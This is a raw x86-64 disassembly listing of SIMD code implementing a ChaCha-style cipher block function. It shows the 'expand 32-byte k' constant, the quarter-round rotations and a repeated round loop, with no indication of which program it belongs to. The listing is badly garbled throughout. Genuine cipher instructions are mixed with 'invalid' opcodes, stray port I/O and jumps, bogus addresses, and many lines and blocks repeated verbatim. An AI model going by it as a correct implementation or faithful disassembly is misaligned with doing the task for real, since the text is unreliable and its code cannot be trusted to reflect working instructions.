vpsrld xmm8, xmm3, 0x19
vpslld xmm3, xmm3, 7
vpor xmm8, xmm8, xmm3
vpshufd xmm3, xmm1, 0x93
vpshufd xmm2, xmm2, 0x93
vpshufd xmm0, xmm0, 0x93
vmovdqa xmmword [rsp + 0x20], xmm0
invalid
invalid
invalid
stc
jg 0x14004b910
and al, 0x20
vpshufd xmm0, xmm8, 0x93
vmovdqa xmmword [rsp + 0x30], xmm0
vpshufd xmm8, xmm10, 0x4e
vpshufd xmm1, xmm11, 0x4e
vmovdqa xmm11, xmmword [rsp + 0x40]
invalid
vpshufd xmm0, xmm5, 0x4e
vmovdqa xmmword [rsp], xmm0
vpshufd xmm10, xmm6, 0x4e
vpshufd xmm6, xmm9, 0x39
vpshufd xmm0, xmm4, 0x39
stc
jo 0x14004b8c9
cmp esp, eax
jns 0x14004b97a
in eax, dx
cmp ebp, eax
stc
jo 0x14004b8f7
cmp ebp, eax
stc
jg 0x14004b979
and al, 0x10
invalid
jns 0x14004b969
invalid
stc
jo 0x14004b8c9
cmp esp, eax
jns 0x14004b97a
in eax, dx
cmp ebp, eax
stc
jo 0x14004b8f7
cmp ebp, eax
stc
jg 0x14004b979
and al, 0x10
dec r8d
jne 0x14004b580
vmovdqa xmm5, xmmword [str.expand_32_byte_k]
vpaddd xmm4, xmm12, xmm5
vpaddd xmm7, xmm15, xmm5
vpaddd xmm9, xmm14, xmm5
or esi, edi
int 0xc5
movabs eax, dword [0x894904c08348edfe]
rol ch, 0x79
outsd dx, dword [rsi]
pushfq
and al, 0xa0
add byte [rax], al
add ah, al
jns 0x14004b9bb
outsd dx, dword [rsi]
loop 0x14004b912
invalid
and dword [rdx], esp
rol byte [rax], 1
shr r8, 0x20
vpinsrd xmm10, xmm10, r8d, 1
vmovdqa xmmword [rcx + 0x20], xmm10
vmovdqu xmmword [rdx], xmm5
sub al, ch
stc
outsd dx, dword [rsi]
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add ch, al
loope 0x14004b970
ffree st(5)
cli
jg 0x14004b9d1
adc ch, al
jns 0x14004b9ea
push rsp
and al, 0x50
or esi, edi
int 0xc5
movabs eax, dword [0x894904c08348edfe]
rol ch, 0x79
outsd dx, dword [rsi]
pushfq
and al, 0xa0
add byte [rax], al
add ah, al
jns 0x14004b9bb
outsd dx, dword [rsi]
outsd dx, dword [rsi]
loop 0x14004b912
invalid
sub al, ch
stc
outsd dx, dword [rsi]
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add ch, al
loope 0x14004b970
ffree st(5)
cli
jg 0x14004b9d1
adc ch, al
jns 0x14004b9ea
outsd dx, dword [rsi]
push rsp
and al, 0x50
vpaddd xmm3, xmm8, xmm10
vmovdqu xmmword [rdx + 0x20], xmm3
vpaddd xmm3, xmm11, xmm6
vmovdqu xmmword [rdx + 0x30], xmm3
vmovdqu xmmword [rdx + 0x40], xmm9
sar dword [rcx], 0xfe
fcmovb st(0), st(5)
cli
jg 0x14004b9e1
and ch, al
movabs eax, dword [0xc5305a7ffac5defe]
jp 0x14004ba13
invalid
vpaddd xmm2, xmm2, xmm5
vmovdqu xmmword [rdx + 0x50], xmm2
push rdx
push rax
vpaddd xmm1, xmm10, xmm1
vmovdqu xmmword [rdx + 0x60], xmm1
vpaddd xmm0, xmm0, xmmword [rsp + 0x90]
vmovdqu xmmword [rdx + 0x70], xmm0
vmovdqu xmmword [rdx + 0x80], xmm7
vpaddd xmm0, xmm5, xmmword [rsp + 0x20]
test byte [rax + rdx*4], ah
add byte [rax], al
add ch, al
cli
jg 0x14004b9f7
jo 0x14004b97c
cli
jg 0x14004b974
add byte [rax], 0
add byte [rax], al
add ch, al
sar esi, 1
and al, 0x20
vmovdqu xmmword [rdx + 0x90], xmm0
vpaddd xmm0, xmm10, xmmword [rsp]
vmovdqu xmmword [rdx + 0xa0], xmm0
vpaddd xmm0, xmm13, xmmword [rsp + 0x70]
vmovdqu xmmword [rdx + 0xb0], xmm0
jg case.0x140018f24.2098
mov al, 0
add byte [rax], al
vmovdqu xmmword [rdx + 0xc0], xmm4
vpaddd xmm0, xmm5, xmmword [rsp + 0x30]
movabs byte [0x44fed1c5000000c0], al
and al, 0x30
vmovdqu xmmword [rdx + 0xd0], xmm0
jg 0x14004b97b
rol byte [rax], 1
add byte [rax], al
vpaddd xmm0, xmm12, xmm10
vmovdqu xmmword [rdx + 0xe0], xmm0
vmovdqa xmm0, xmmword [rsp + 0x10]
vpaddd xmm0, xmm0, xmmword [rsp + 0x60]
and al, 0x60
vmovdqu xmmword [rdx + 0xf0], xmm0
vzeroupper
vmovaps xmm6, xmmword [rsp + 0xc0]
vmovaps xmm7, xmmword [rsp + 0xd0]
vmovaps xmm8, xmmword [rsp + 0xe0]
vmovaps xmm9, xmmword [rsp + 0xf0]
and al, 0xf0
add byte [rax], al
add ch, al
js 0x14004ba70
xchg esp, eax
and al, 0
add dword [rax], eax
add ch, al
js 0x14004ba79
pushfq
and al, 0x10
add dword [rax], eax
invalid
and al, 0xf0
add byte [rax], al
add ch, al
js 0x14004ba70
xchg esp, eax
and al, 0
add dword [rax], eax
add ch, al
js 0x14004ba79
pushfq
and al, 0x10
add dword [rax], eax
add ch, al
invalid
js 0x14004ba82
vmovaps xmm12, xmmword [rsp + 0x120]
vmovaps xmm13, xmmword [rsp + 0x130]
vmovaps xmm14, xmmword [rsp + 0x140]
add dword [rax], eax
invalid
movsb byte [rdi], byte [rsi]
and al, 0x20
add dword [rax], eax
add ch, al
js 0x14004ba8b
lodsb al, byte [rsi]
and al, 0x30
add dword [rax], eax
add ch, al
js 0x14004ba94
mov ah, 0x24
add dword [rax], eax
add ch, al
js 0x14004ba9d
add byte [rax], al
vmovaps xmm15, xmmword [rsp + 0x150]
mov esp, 0x15024
add byte [rax - 0x7f], cl
invalid
add byte [rax], al
add rsp, 0x168
ret
int3
add dword [rax], eax
add byte [rdi + rcx + 0x29], al
mov esp, 0x13024
add dword [rax], eax
add byte [rdi + rcx + 0x29], al
mov ah, 0x24
and byte [rcx], al
add byte [rax], al
movaps xmmword [rsp + 0x110], xmm13
movaps xmmword [rsp + 0x100], xmm12
movaps xmmword [rsp + 0xf0], xmm11
movaps xmmword [rsp + 0xe0], xmm10
movaps xmmword [rsp + 0xd0], xmm9
movaps xmmword [rsp + 0xc0], xmm8
movaps xmmword [rsp + 0xb0], xmm7
movaps xmmword [rsp + 0xa0], xmm6
movdqa xmm0, xmmword [rcx]
movdqa xmm12, xmmword [rcx + 0x20]
mov rax, qword [rcx + 0x20]
lea r8, [rax + 1]
movdqa xmm13, xmm12
pinsrd xmm13, r8d, 0
shr r8, 0x20
pinsrd xmm13, r8d, 1
lea r8, [rax + 2]
movdqa xmm14, xmm12
pinsrd xmm14, r8d, 0
shr r8, 0x20
pinsrd xmm14, r8d, 1
lea r8, [rax + 3]
movdqa xmm15, xmm12
pinsrd xmm15, r8d, 0
shr r8, 0x20
pinsrd xmm15, r8d, 1
movdqa xmm5, xmmword [rcx + 0x10]
movdqa xmm9, xmmword [str.expand_32_byte_k]
mov r8d, 6
movdqa xmm8, xmm9
movdqa xmm7, xmm9
movdqa xmm6, xmm9
movdqa xmm11, xmm0
movdqa xmm3, xmm0
movdqa xmm2, xmm0
movdqa xmmword [rsp + 0x90], xmm0
movdqa xmm10, xmm5
movdqa xmm4, xmm5
movdqa xmm1, xmm5
movdqa xmmword [rsp + 0x40], xmm5
movdqa xmmword [rsp + 0x50], xmm12
movdqa xmmword [rsp + 0x80], xmm13
movdqa xmmword [rsp + 0x70], xmm14
movdqa xmmword [rsp + 0x60], xmm15
nop dword [rax]
paddd xmm9, xmm11
paddd xmm8, xmm3
paddd xmm7, xmm2
paddd xmm6, xmm0
movdqa xmmword [rsp + 0x10], xmm6
pxor xmm12, xmm9
pxor xmm13, xmm8
pxor xmm14, xmm7
pxor xmm15, xmm6
pshuflw xmm12, xmm12, 0xb1
pshufhw xmm6, xmm12, 0xb1
movdqa xmmword [rsp + 0x20], xmm6
pshuflw xmm13, xmm13, 0xb1
pshufhw xmm12, xmm13, 0xb1
movdqa xmmword [rsp + 0x30], xmm12
pshuflw xmm14, xmm14, 0xb1
pshufhw xmm14, xmm14, 0xb1
pshuflw xmm15, xmm15, 0xb1
pshufhw xmm15, xmm15, 0xb1
paddd xmm10, xmm6
movdqa xmm6, xmmword [rsp + 0x10]
paddd xmm4, xmm12
paddd xmm1, xmm14
paddd xmm5, xmm15
pxor xmm11, xmm10
movdqa xmm12, xmm5
movdqa xmmword [rsp], xmm5
movdqa xmm5, xmm11
psrld xmm5, 0x14
pslld xmm11, 0xc
por xmm11, xmm5
pxor xmm3, xmm4
movdqa xmm5, xmm3
psrld xmm5, 0x14
pslld xmm3, 0xc
por xmm3, xmm5
pxor xmm2, xmm1
movdqa xmm5, xmm2
psrld xmm5, 0x14
pslld xmm2, 0xc
por xmm2, xmm5
pxor xmm0, xmm12
movdqa xmm5, xmm0
psrld xmm5, 0x14
pslld xmm0, 0xc
por xmm0, xmm5
paddd xmm9, xmm11
paddd xmm8, xmm3
paddd xmm7, xmm2
paddd xmm6, xmm0
movdqa xmm5, xmm9
movdqa xmm13, xmmword [0x1401139c0]
pshufb xmm5, xmm13
pshufb mm5, mm5
pshufb mm5, mm5
movdqa xmm12, xmmword [rsp + 0x20]
pshufb xmm12, xmm13
pxor xmm12, xmm5
movdqa xmmword [rsp + 0x20], xmm12
movq qword [rsp + 0x20], mm4
movq qword [rsp + 0x20], mm4
movdqa xmm5, xmm8
pshufb xmm5, xmm13
movdqa xmm12, xmmword [rsp + 0x30]
pshufb xmm12, xmm13
pxor xmm12, xmm5
in eax, 0x66
movq qword [rsp + 0x30], mm4
in eax, 0x66
movq qword [rsp + 0x30], mm4
movdqa xmm5, xmm7
pshufb xmm5, xmm13
pshufb xmm14, xmm13
pxor xmm14, xmm5
movdqa xmm5, xmm6
pshufb xmm5, xmm13
pshufb xmm15, xmm13
pxor xmm15, xmm5
movdqa xmm13, xmmword [rsp + 0x20]
paddd xmm10, xmm13
paddd xmm4, xmm12
paddd xmm1, xmm14
movdqa xmm5, xmmword [rsp]
paddd xmm5, xmm15
pxor xmm11, xmm10
pxor xmm3, xmm4
pxor xmm2, xmm1
pxor xmm0, xmm5
movdqa xmm12, xmm5
movdqa xmm5, xmm11
psrld xmm5, 0x19
pslld xmm11, 7
por xmm11, xmm5
movdqa xmm5, xmm3
psrld xmm5, 0x19
pslld xmm3, 7
por xmm3, xmm5
movdqa xmm5, xmm2
psrld xmm5, 0x19
pslld xmm2, 7
por xmm2, xmm5
movdqa xmm5, xmm0
psrld xmm5, 0x19
pslld xmm0, 7
por xmm0, xmm5
pshufd xmm11, xmm11, 0x39
pshufd xmm3, xmm3, 0x39
pshufd xmm2, xmm2, 0x39
pshufd xmm0, xmm0, 0x39
pshufd xmm10, xmm10, 0x4e
pshufd xmm4, xmm4, 0x4e
movdqa xmmword [rsp + 0x10], xmm4
pshufd xmm1, xmm1, 0x4e
movdqa xmmword [rsp], xmm1
pshufd xmm5, xmm12, 0x4e
pshufw mm5, mm4, 0x4e
pshufw mm5, mm4, 0x4e
paddd xmm9, xmm11
paddd xmm8, xmm3
paddd xmm7, xmm2
paddd xmm6, xmm0
pshuflw xmm1, xmm9, 0xb1
pshuflw xmm1, xmm9, 0xb1
pshufhw xmm1, xmm1, 0xb1
movdqa xmm4, xmmword [0x1401139d0]
movdqa xmm12, xmm13
pshufb xmm12, xmm4
pxor xmm12, xmm1
pxor mm4, mm1
pxor mm4, mm1
pshuflw xmm1, xmm8, 0xb1
pshufhw xmm1, xmm1, 0xb1
movdqa xmm13, xmmword [rsp + 0x30]
pshufb xmm13, xmm4
pxor xmm13, xmm1
pshuflw xmm1, xmm7, 0xb1
pshufhw xmm1, xmm1, 0xb1
pshufb xmm14, xmm4
pxor xmm14, xmm1
pshuflw xmm1, xmm6, 0xb1
pshufhw xmm1, xmm1, 0xb1
pshufb xmm15, xmm4
pxor xmm15, xmm1
paddd xmm10, xmm12
movdqa xmm4, xmmword [rsp + 0x10]
paddd xmm4, xmm13
movdqa xmm1, xmmword [rsp]
paddd xmm1, xmm14
movdqa xmmword [rsp], xmm1
paddd xmm5, xmm15
pxor xmm11, xmm10
pxor xmm3, xmm4
pxor xmm2, xmm1
pxor xmm0, xmm5
movdqa xmm1, xmm11
psrld xmm1, 0x14
pslld xmm11, 0xc
por xmm11, xmm1
movdqa xmm1, xmm3
psrld xmm1, 0x14
pslld xmm3, 0xc
por xmm3, xmm1
movdqa xmm1, xmm2
psrld xmm1, 0x14
pslld xmm2, 0xc
por xmm2, xmm1
movdqa xmm1, xmm0
psrld xmm1, 0x14
pslld xmm0, 0xc
por xmm0, xmm1
paddd xmm9, xmm11
paddd xmm8, xmm3
paddd xmm7, xmm2
paddd xmm6, xmm0
pxor xmm12, xmm9
movdqa xmm1, xmmword [0x1401139c0]
pshufb xmm12, xmm1
pxor xmm13, xmm8
pshufb xmm13, xmm1
pxor xmm14, xmm7
pshufb xmm14, xmm1
pxor xmm15, xmm6
pshufb xmm15, xmm1
paddd xmm10, xmm12
paddd xmm4, xmm13
movdqa xmm1, xmmword [rsp]
paddd xmm1, xmm14
movdqa xmmword [rsp], xmm1
paddd xmm5, xmm15
pxor xmm11, xmm10
pxor xmm3, xmm4
pxor xmm2, xmm1
pxor xmm0, xmm5
movdqa xmm1, xmm11
psrld xmm1, 0x19
pslld xmm11, 7
por xmm11, xmm1
movdqa xmm1, xmm3
psrld xmm1, 0x19
pslld xmm3, 7
por xmm3, xmm1
movdqa xmm1, xmm2
psrld xmm1, 0x19
pslld xmm2, 7
por xmm2, xmm1
movdqa xmm1, xmm0
psrld xmm1, 0x19
pslld xmm0, 7
por xmm0, xmm1
pshufd xmm11, xmm11, 0x93
pshufd xmm3, xmm3, 0x93
pshufd xmm2, xmm2, 0x93
pshufd xmm0, xmm0, 0x93
pshufd xmm10, xmm10, 0x4e
pshufd xmm4, xmm4, 0x4e
pshufd xmm1, xmmword [rsp], 0x4e
pshufd xmm5, xmm5, 0x4e
pshufd xmm12, xmm12, 0x39
pshufd xmm13, xmm13, 0x39
pshufd xmm14, xmm14, 0x39
pshufd xmm15, xmm15, 0x39
dec r8d
jne 0x14004bbc0
movdqa xmmword [rsp], xmm5
movdqa xmm5, xmmword [str.expand_32_byte_k]
paddd xmm6, xmm5
paddd xmm7, xmm5
paddd xmm8, xmm5
paddd xmm9, xmm5
add rax, 4
mov r8, rax
shr r8, 0x20
movdqa xmm5, xmmword [rsp + 0x50]
and al, 0x50
and al, 0x50
paddd xmm12, xmm5
pinsrd xmm5, eax, 0
pinsrd xmm5, r8d, 1
movdqa xmmword [rcx + 0x20], xmm5
and bl, dh
movq qword [rdx], mm1
and bl, dh
movq qword [rdx], mm1
movdqa xmm5, xmmword [rsp + 0x90]
paddd xmm11, xmm5
movdqu xmmword [rdx + 0x10], xmm11
movdqa xmm9, xmmword [rsp + 0x40]
paddd xmm10, xmm9
movdqu xmmword [rdx + 0x20], xmm10
movdqu xmmword [rdx + 0x30], xmm12
movq qword [rdx + 0x30], mm4
movq qword [rdx + 0x30], mm4
movdqu xmmword [rdx + 0x40], xmm8
paddd xmm3, xmm5
movdqu xmmword [rdx + 0x50], xmm3
paddd xmm4, xmm9
paddd mm4, mm1
paddd mm4, mm1
movdqu xmmword [rdx + 0x60], xmm4
movq qword [rdx + 0x60], mm4
movdqa xmm3, xmmword [rsp + 0x80]
paddd xmm3, xmm13
movdqu xmmword [rdx + 0x70], xmm3
movdqu xmmword [rdx + 0x80], xmm7
mov edx, 0x80
mov edx, 0x80
paddd xmm2, xmm5
movdqu xmmword [rdx + 0x90], xmm2
paddd xmm1, xmm9
movdqu xmmword [rdx + 0xa0], xmm1
movabs al, byte [0x244c6f0f66000000]
jo 0x14004c128
paddd mm1, mm6
movabs al, byte [0x244c6f0f66000000]
jo 0x14004c128
paddd mm1, mm6
movdqu xmmword [rdx + 0xb0], xmm1
add byte [rax], al
movdqu xmmword [rdx + 0xc0], xmm6
paddd xmm0, xmm5
movdqu xmmword [rdx + 0xd0], xmm0
movdqa xmm0, xmmword [rsp]
outsd dx, dword [rsi]
add al, 0x24
outsd dx, dword [rsi]
add al, 0x24
paddd xmm0, xmm9
movdqu xmmword [rdx + 0xe0], xmm0
movdqa xmm0, xmmword [rsp + 0x60]
paddd xmm0, xmm15
movdqu xmmword [rdx + 0xf0], xmm0
add byte [rax], al
add byte [rax], al
movaps xmm6, xmmword [rsp + 0xa0]
movaps xmm7, xmmword [rsp + 0xb0]
movaps xmm8, xmmword [rsp + 0xc0]
movaps xmm9, xmmword [rsp + 0xd0]
add byte [rax], al
add byte [rdi + rcx + 0x28], al
xchg esp, eax
and al, 0xe0
add byte [rax], al
add byte [rdi + rcx + 0x28], al
pushfq
and al, 0xf0
add byte [rax], al
add byte [rdi + rcx + 0x28], al
movsb byte [rdi], byte [rsi]
and al, 0
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rdi + rcx + 0x28], al
xchg esp, eax
and al, 0xe0
add byte [rax], al
add byte [rdi + rcx + 0x28], al
pushfq
and al, 0xf0
add byte [rax], al
add byte [rdi + rcx + 0x28], al
movsb byte [rdi], byte [rsi]
and al, 0
add dword [rax], eax
add byte [rax], al
movaps xmm13, xmmword [rsp + 0x110]
movaps xmm14, xmmword [rsp + 0x120]
add byte [rax], al
movaps xmm13, xmmword [rsp + 0x110]
movaps xmm14, xmmword [rsp + 0x120]
movaps xmm15, xmmword [rsp + 0x130]
movaps xmm7, xmmword [rsp + 0x130]
add rsp, 0x148
ret
movaps xmmword [rsp + 0x140], xmm7
movaps xmmword [rsp + 0x130], xmm14
movaps xmmword [rsp + 0x120], xmm13
add dword [rax], eax
add byte [rdi + rcx + 0x29], al
movsb byte [rdi], byte [rsi]
and al, 0x10
add dword [rax], eax
add byte [rdi + rcx + 0x29], al
pushfq
and al, 0
add dword [rax], eax
add byte [rdi + rcx + 0x29], al
sub dword [rsp + 0xf0], edx
add dword [rax], eax
add byte [rdi + rcx + 0x29], al
movsb byte [rdi], byte [rsi]
and al, 0x10
add dword [rax], eax
add byte [rdi + rcx + 0x29], al
pushfq
and al, 0
add dword [rax], eax
add byte [rdi + rcx + 0x29], al
sub dword [rsp + 0xf0], edx
movaps xmmword [rsp + 0xe0], xmm9
movaps xmmword [rsp + 0xd0], xmm8
movaps xmmword [rsp + 0xc0], xmm7
sub dword [rsp + 0xf0], edx
movaps xmmword [rsp + 0xe0], xmm9
movaps xmmword [rsp + 0xd0], xmm8
movaps xmmword [rsp + 0xc0], xmm7
movaps xmmword [rsp + 0xb0], xmm6
movdqa xmm4, xmmword [rcx]
movdqa xmm13, xmmword [rcx + 0x10]
movdqa xmm0, xmmword [rcx + 0x20]
movdqa xmmword [rsp + 0x40], xmm0
mov rax, qword [rcx + 0x20]
lea r8, [rax + 1]
add dword [rsi + 0x45], esp
movd mm6, eax
add dword [rsi + 0x45], esp
movd mm6, eax
shr r8, 0x20
movdqa xmm3, xmm0
pslldq xmm3, 8
shufps xmm3, xmm0, 0xe8
invalid
fsubr st(0)
movd xmm0, r8d
por xmm0, xmm3
movdqa xmm1, xmm0
pslldq xmm1, 8
shufps xmm1, xmm0, 0xe8
por xmm14, xmm1
lea r8, [rax + 2]
add ah, byte [rsi + 0x45]
movd mm7, eax
invalid
add ah, byte [rsi + 0x45]
movd mm7, eax
shr r8, 0x20
movd xmm0, r8d
por xmm0, xmm3
movdqa xmm1, xmm0
pslldq xmm1, 8
shufps xmm1, xmm0, 0xe8
por xmm15, xmm1
lea r8, [rax + 3]
movd xmm2, r8d
shr r8, 0x20
movd xmm0, r8d
movaps xmmword [rsp + 0x50], xmm3
por xmm0, xmm3
movdqa xmm1, xmm0
pslldq xmm1, 8
shufps xmm1, xmm0, 0xe8
por xmm2, xmm1
movdqa xmm10, xmmword [str.expand_32_byte_k]
mov r8d, 6
movdqa xmm9, xmm10
movdqa xmm8, xmm10
movdqa xmm7, xmm10
movdqa xmm12, xmm4
movdqa xmm5, xmm4
movdqa xmm3, xmm4
movdqa xmmword [rsp + 0x90], xmm4
movdqa xmm1, xmm4
movdqa xmm11, xmm13
movdqa xmm6, xmm13
movdqa xmm4, xmm13
movdqa xmmword [rsp + 0xa0], xmm13
movdqa xmm0, xmm13
movdqa xmm13, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x80], xmm14
movdqa xmmword [rsp + 0x70], xmm15
movdqa xmmword [rsp + 0x60], xmm2
nop word cs:[rax + rax]
paddd xmm10, xmm12
paddd xmm9, xmm5
paddd xmm8, xmm3
paddd xmm7, xmm1
pxor xmm13, xmm10
pxor xmm14, xmm9
pxor xmm15, xmm8
pxor xmm2, xmm7
pshuflw xmm13, xmm13, 0xb1
pshufhw xmm13, xmm13, 0xb1
movdqa xmmword [rsp], xmm13
pshuflw xmm14, xmm14, 0xb1
pshufhw xmm14, xmm14, 0xb1
pshuflw xmm15, xmm15, 0xb1
pshufhw xmm15, xmm15, 0xb1
pshuflw xmm2, xmm2, 0xb1
pshufhw xmm2, xmm2, 0xb1
movdqa xmmword [rsp + 0x30], xmm2
paddd xmm11, xmm13
paddd xmm6, xmm14
paddd xmm4, xmm15
paddd xmm0, xmm2
pxor xmm12, xmm11
movdqa xmm2, xmm0
movdqa xmmword [rsp + 0x10], xmm0
movdqa xmm0, xmm12
psrld xmm0, 0x14
pslld xmm12, 0xc
por xmm12, xmm0
pxor xmm5, xmm6
movdqa xmm0, xmm5
psrld xmm0, 0x14
pslld xmm5, 0xc
por xmm5, xmm0
pxor xmm3, xmm4
movdqa xmm0, xmm3
psrld xmm0, 0x14
pslld xmm3, 0xc
por xmm3, xmm0
pxor xmm1, xmm2
movdqa xmm0, xmm1
movq mm0, mm1
psrld xmm0, 0x14
pslld xmm1, 0xc
pslld mm1, 0xc
pslld mm1, 0xc
por xmm1, xmm0
paddd xmm10, xmm12
paddd xmm9, xmm5
paddd mm1, mm5
paddd xmm8, xmm3
paddd xmm7, xmm1
stc
stc
movdqa xmmword [rsp + 0x20], xmm7
movdqa xmm0, xmm10
movdqa xmm2, xmmword [0x1401139c0]
pshufb xmm0, xmm2
movdqa xmm7, xmmword [rsp]
movq mm7, qword [rsp]
cmp byte [rax], al
ret 0xf66
invalid
movq mm7, qword [rsp]
pshufb xmm7, xmm2
pxor xmm7, xmm0
movdqa xmmword [rsp], xmm7
movdqa xmm0, xmm9
pshufb xmm0, xmm2
add dl, al
add dl, al
pshufb xmm14, xmm2
pshufb mm6, mm2
pxor xmm14, xmm0
movdqa xmm0, xmm8
pshufb xmm0, xmm2
pshufb xmm15, xmm2
pxor xmm15, xmm0
movdqa xmm0, xmmword [rsp + 0x20]
pshufb xmm0, xmm2
movdqa xmm13, xmmword [rsp + 0x30]
pshufb xmm13, xmm2
pxor xmm13, xmm0
movdqa xmm2, xmm13
paddd xmm11, xmm7
movdqa xmm7, xmmword [rsp + 0x20]
paddd xmm6, xmm14
paddd xmm4, xmm15
movdqa xmm0, xmmword [rsp + 0x10]
movq mm0, qword [rsp + 0x10]
movq mm0, qword [rsp + 0x10]
paddd xmm0, xmm13
pxor xmm12, xmm11
pxor xmm5, xmm6
pxor xmm3, xmm4
pxor xmm1, xmm0
enter 0x4466, 0xf
outsd dx, dword [rsi]
call 0x1af1405f3
invalid
psrld xmm0, 0x19
pslld xmm12, 7
por xmm12, xmm0
loopne 0x14004c505
movq mm0, mm5
enter 0x4466, 0xf
outsd dx, dword [rsi]
call 0x1af1405f3
invalid
loopne 0x14004c505
movq mm0, mm5
psrld xmm0, 0x19
pslld xmm5, 7
por xmm5, xmm0
movdqa xmm0, xmm3
psrld xmm0, 0x19
rcr byte [rcx], 1
rcr byte [rcx], 1
pslld xmm3, 7
por xmm3, xmm0
movdqa xmm0, xmm1
psrld xmm0, 0x19
pslld xmm1, 7
por xmm1, xmm0
pshufd xmm12, xmm12, 0x39
pshufw mm4, mm4, 0x39
pshufd xmm5, xmm5, 0x39
pshufd xmm3, xmm3, 0x39
pshufd xmm1, xmm1, 0x39
leave
cmp dword [rsi + 0x45], esp
pshufw mm3, mm3, 0x4e
leave
cmp dword [rsi + 0x45], esp
pshufw mm3, mm3, 0x4e
pshufd xmm6, xmm6, 0x4e
pshufd xmm0, xmm4, 0x4e
movdqa xmmword [rsp + 0x30], xmm0
xor byte [rsi + 0x41], ah
pshufw mm0, mm5, 0x4e
xor byte [rsi + 0x41], ah
pshufw mm0, mm5, 0x4e
movdqa xmmword [rsp + 0x10], xmm0
paddd xmm10, xmm12
paddd mm2, mm4
paddd xmm9, xmm5
paddd xmm8, xmm3
paddd xmm7, xmm1
pshuflw xmm0, xmm10, 0xb1
pshufhw xmm0, xmm0, 0xb1
movdqa xmm13, xmmword [0x1401139d0]
movdqa xmm4, xmmword [rsp]
pshufb xmm4, xmm13
pxor xmm4, xmm0
pshuflw xmm0, xmm9, 0xb1
pshufhw xmm0, xmm0, 0xb1
pshufb xmm14, xmm13
pxor xmm14, xmm0
pshuflw xmm0, xmm8, 0xb1
pshufhw xmm0, xmm0, 0xb1
pshufb xmm15, xmm13
pxor xmm15, xmm0
pshuflw xmm0, xmm7, 0xb1
pshufhw xmm0, xmm0, 0xb1
pshufb xmm2, xmm13
pshufb mm2, mm5
pshufb mm2, mm5
pxor xmm2, xmm0
paddd xmm11, xmm4
movdqa xmm13, xmm4
paddd xmm6, xmm14
mul byte [rsi + 0xf]
outsd dx, dword [rsi]
and al, 0x30
mul byte [rsi + 0xf]
outsd dx, dword [rsi]
and al, 0x30
paddd xmm4, xmm15
movdqa xmm0, xmmword [rsp + 0x10]
paddd xmm0, xmm2
movdqa xmmword [rsp + 0x10], xmm0
movq qword [rsp + 0x10], mm0
movq qword [rsp + 0x10], mm0
pxor xmm12, xmm11
pxor xmm5, xmm6
pxor xmm3, xmm4
pxor xmm1, xmm0
movdqa xmm0, xmm12
psrld xmm0, 0x14
pslld xmm12, 0xc
por xmm12, xmm0
movdqa xmm0, xmm5
psrld xmm0, 0x14
pslld xmm5, 0xc
por xmm5, xmm0
movdqa xmm0, xmm3
psrld xmm0, 0x14
pslld xmm3, 0xc
por xmm3, xmm0
movdqa xmm0, xmm1
psrld xmm0, 0x14
pslld xmm1, 0xc
por xmm1, xmm0
paddd xmm10, xmm12
paddd xmm9, xmm5
paddd xmm8, xmm3
paddd xmm7, xmm1
pxor xmm13, xmm10
movdqa xmm0, xmmword [0x1401139c0]
pshufb xmm13, xmm0
movdqa xmmword [rsp], xmm13
pxor xmm14, xmm9
pshufb xmm14, xmm0
pxor xmm15, xmm8
pshufb xmm15, xmm0
pxor xmm2, xmm7
pshufb xmm2, xmm0
paddd xmm11, xmm13
paddd xmm6, xmm14
paddd xmm4, xmm15
movdqa xmm13, xmmword [rsp + 0x10]
paddd xmm13, xmm2
pxor xmm12, xmm11
pxor xmm5, xmm6
pxor xmm3, xmm4
pxor xmm1, xmm13
movdqa xmm0, xmm12
psrld xmm0, 0x19
pslld xmm12, 7
por xmm12, xmm0
movdqa xmm0, xmm5
psrld xmm0, 0x19
pslld xmm5, 7
por xmm5, xmm0
movdqa xmm0, xmm3
psrld xmm0, 0x19
pslld xmm3, 7
por xmm3, xmm0
movdqa xmm0, xmm1
psrld xmm0, 0x19
pslld xmm1, 7
por xmm1, xmm0
pshufd xmm12, xmm12, 0x93
pshufd xmm5, xmm5, 0x93
pshufd xmm3, xmm3, 0x93
pshufd xmm1, xmm1, 0x93
pshufd xmm11, xmm11, 0x4e
pshufd xmm6, xmm6, 0x4e
pshufd xmm4, xmm4, 0x4e
pshufd xmm0, xmm13, 0x4e
pshufd xmm13, xmmword [rsp], 0x39
pshufd xmm14, xmm14, 0x39
pshufd xmm15, xmm15, 0x39
pshufd xmm2, xmm2, 0x39
dec r8d
jne 0x14004c2f0
movdqa xmmword [rsp + 0x10], xmm0
movdqa xmm0, xmmword [str.expand_32_byte_k]
paddd xmm7, xmm0
paddd xmm8, xmm0
paddd xmm9, xmm0
paddd xmm10, xmm0
add rax, 4
mov r8, rax
shr r8, 0x20
movd xmm0, r8d
por xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x20], xmm0
movdqa xmmword [rsp], xmm0
movdqa xmm0, xmmword [rsp]
jg 0x14004c75b
and al, 0x66
movq mm0, qword [rsp]
add al, 0x24
pslldq xmm0, 8
movdqa xmmword [rsp], xmm0
movaps xmm0, xmmword [rsp]
shufps xmm0, xmmword [rsp + 0x20], 0xe8
and al, ch
movaps xmmword [rsp], xmm0
movd xmm0, eax
por xmm0, xmmword [rsp]
movdqa xmmword [rcx + 0x20], xmm0
movdqu xmmword [rdx], xmm10
movdqa xmm10, xmmword [rsp + 0x90]
movq mm2, qword [rsp + 0x90]
paddd xmm12, xmm10
movdqu xmmword [rdx + 0x10], xmm12
movdqa xmm0, xmmword [rsp + 0xa0]
paddd xmm11, xmm0
add byte [rax], al
add byte [rsi + 0x44], ah
paddd mm3, mm0
movdqu xmmword [rdx + 0x20], xmm11
paddd xmm13, xmmword [rsp + 0x40]
movdqu xmmword [rdx + 0x30], xmm13
movdqu xmmword [rdx + 0x40], xmm9
paddd xmm5, xmm10
movdqu xmmword [rdx + 0x50], xmm5
paddd xmm6, xmm0
movdqu xmmword [rdx + 0x60], xmm6
paddd xmm14, xmmword [rsp + 0x80]
movdqu xmmword [rdx + 0x70], xmm14
movdqu xmmword [rdx + 0x80], xmm8
paddd xmm3, xmm10
movdqu xmmword [rdx + 0x90], xmm3
paddd xmm4, xmm0
movdqu xmmword [rdx + 0xa0], xmm4
paddd xmm15, xmmword [rsp + 0x70]
movdqu xmmword [rdx + 0xb0], xmm15
